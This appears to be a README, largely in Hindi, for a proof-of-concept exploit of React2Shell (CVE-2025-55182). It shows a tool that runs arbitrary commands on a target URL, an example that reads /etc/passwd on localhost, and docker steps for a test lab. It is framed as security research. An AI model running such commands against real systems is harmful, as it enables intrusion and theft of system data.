snipevx/react2shell-pocReact2Shell (CVE-2025-55182) POC
React2Shell (CVE-2025-55182) भेद्यता के लिए यह प्रूफ ऑफ कॉन्सेप्ट (PoC) केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए विकसित किया गया है।
इसका उद्देश्य एक नियंत्रित, अधिकृत और गैर-उत्पादन वातावरण में एक विशिष्ट सुरक्षा भेद्यता के अस्तित्व और संभावित प्रभाव को प्रदर्शित करना है।
react2shell भेद्यता के विस्तृत विश्लेषण के लिए मेरा ब्लॉग देखें: https://vxsnipe.xyz/posts/react2shell/
➜ python poc.py -h
_____ ______ _____ _______ ___ _____ _ _ ______ _ _
| __ \| ____| /\ / ____|__ __|__ \ / ____| | | | ____| | | |
| |__) | |__ / \ | | | | ) | (___ | |__| | |__ | | | |
| _ /| __| / /\ \| | | | / / \___ \| __ | __| | | | |
| | \ \| |____ / ____ \ |____ | | / /_ ____) | | | | |____| |____| |____
|_| \_\______/_/ \_\_____| |_| |____|_____/|_| |_|______|______|______|
usage: poc.py [-h] -u URL -c COMMAND
CVE-2025-55182 POC by 0xSN1PE
options:
-h, --help show this help message and exit
-u, --url URL Target URL (e.g., http://localhost:3000/)
-c, --command COMMAND
Command to execute (e.g., 'id')
➜ python poc.py -u http://localhost:3000/ -c 'cat /etc/passwd'
यह POC एक docker फ़ाइल के साथ आता है जिसका उपयोग नियंत्रित और सुरक्षित वातावरण में react2shell भेद्यता का अनुकरण करने के लिए किया जा सकता है।
docker build -t react2shell .
docker run -p 3000:3000 react2shell